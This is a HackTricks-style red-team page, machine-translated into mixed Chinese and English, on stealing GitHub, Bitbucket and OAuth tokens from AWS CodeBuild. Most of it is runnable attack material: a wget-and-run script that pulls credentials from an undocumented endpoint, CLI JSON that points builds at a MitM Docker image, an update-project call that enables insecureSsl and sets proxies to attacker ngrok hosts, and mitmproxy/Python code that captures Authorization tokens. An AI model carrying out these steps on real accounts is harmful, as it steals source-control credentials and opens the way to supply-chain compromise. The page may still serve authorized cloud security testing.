AWS Codebuild - Token Leakage

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

恢复 Github/Bitbucket 已配置的 Tokens

首先,检查是否配置了任何 source credentials that you could leak:

aws codebuild list-source-credentials

通过 RCE 在 CodeBuild 作业中

从 CodeBuild 作业内部,你可以访问一个未记录的 AWS CodeBuild API 端点,该端点会返回 CodeBuild 使用的凭据。 这可以用来获取 CodeBuild 作业在设置时使用的凭据,例如 AWS CodeConnection 凭据、OAUTH 或 PAT 凭据。CodeBuild 作业无需具有特权即可访问该端点,而且在日志和监控中也很难被检测到,因为 CodeBuild 本身在启动时会多次调用此端点。

该技术在 https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/ 有更详细的说明,但总之要在 CodeBuild 作业内获取凭据,你只需要运行以下命令:

python -m pip install botocore boto3 requests
wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py
python ./GetBuildInfo.py

通过 Docker Image

如果你发现账户中为例如 Github 设置了认证,你可以通过让 Codebuild 使用特定的 docker image 来运行项目构建,从而 exfiltrate 那个 accessGH token or OAuth token)。

为此你可以 create a new Codebuild project 或更改现有项目的 environment 来设置 Docker image

The Docker image you could use is https://github.com/carlospolop/docker-mitm。这是一个非常基础的 Docker image,会设置 env variables https_proxyhttp_proxySSL_CERT_FILE。这将允许你拦截 https_proxyhttp_proxy 指定主机的大部分流量,并信任 SSL_CERT_FILE 指定的 SSL 证书。

  1. Create & Upload your own Docker MitM image
  • 按照该 repo 的说明设置你的代理 IP 地址并设置你的 SSL 证书,build the docker image
  • DO NOT SET http_proxy,以免拦截对 metadata endpoint 的请求。
  • 你可以使用 ngrok,例如 ngrok tcp 4444 来将代理指向你的主机
  • 当你构建好 Docker image 后,upload it to a public repo(Dockerhub, ECR…)
  1. Set the environment
  • 创建一个 new Codebuild projectmodify 现有项目的 environment。
  • 将项目设置为使用 previously generated Docker image
  1. Set the MitM proxy in your host
  • Github repo 所示,你可以使用类似:
mitmproxy --listen-port 4444  --allow-hosts "github.com"

Tip

使用的 mitmproxy 版本为 9.0.1,据报在版本 10 上可能无法工作。

  1. 运行构建并捕获凭证
  • 你可以在 Authorization header 中看到 token:

这也可以通过 aws cli 完成,例如:

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

通过 insecureSSL

Codebuild 项目有一个名为 insecureSsl 的设置,该设置在 web 界面中隐藏,只能通过 API 更改。
启用后,Codebuild 将允许连接到仓库,不检查平台提供的证书

  • 首先你需要枚举当前配置,使用类似以下命令:
aws codebuild batch-get-projects --name <proj-name>
  • 然后,使用收集到的信息,你可以将项目设置 insecureSsl 更新为 True。下面是我更新项目的一个示例,注意末尾的 insecureSsl=True(这是你需要从收集到的配置中更改的唯一项)。
  • 此外,还要添加环境变量 http_proxyhttps_proxy,指向你的 tcp ngrok,例如:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n       - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • 最后,点击 Build the projectcredentials 将以 明文(base64)发送到 mitm 端口:

通过 HTTP 协议

[!TIP] > This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can’t abuse it anymore :)

拥有对 CodeBuild 提权的攻击者可以 leak 配置的 Github/Bitbucket token,或者如果权限是通过 OAuth 配置的,则可以 leak 用于访问代码的 temporary OAuth token。

  • 攻击者可以添加环境变量 http_proxyhttps_proxy 到 CodeBuild 项目,指向他的机器(例如 http://5.tcp.eu.ngrok.io:14972)。
  • 然后,将 github 仓库的 URL 改为使用 HTTP 而不是 HTTPS,例如:http://github.com/carlospolop-forks/TestActions
  • 然后,在由代理变量 (http_proxy 和 https_proxy) 指定的端口上运行来自 https://github.com/synchronizing/mitm 的基本示例
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • 接下来,点击 Build the project 或从命令行启动构建:
aws codebuild start-build --project-name <proj-name>
  • 最后,凭证将以明文(base64)发送到 mitm 端口:

Warning

现在攻击者能够在他的机器上使用该 token,列出它拥有的所有权限,并比直接使用 CodeBuild 服务更容易地(滥用)利用这些权限。

Untrusted PR execution via webhook filter misconfiguration

对于 PR 触发的 webhook 绕过链(ACTOR_ACCOUNT_ID regex + untrusted PR execution),请查阅:

AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks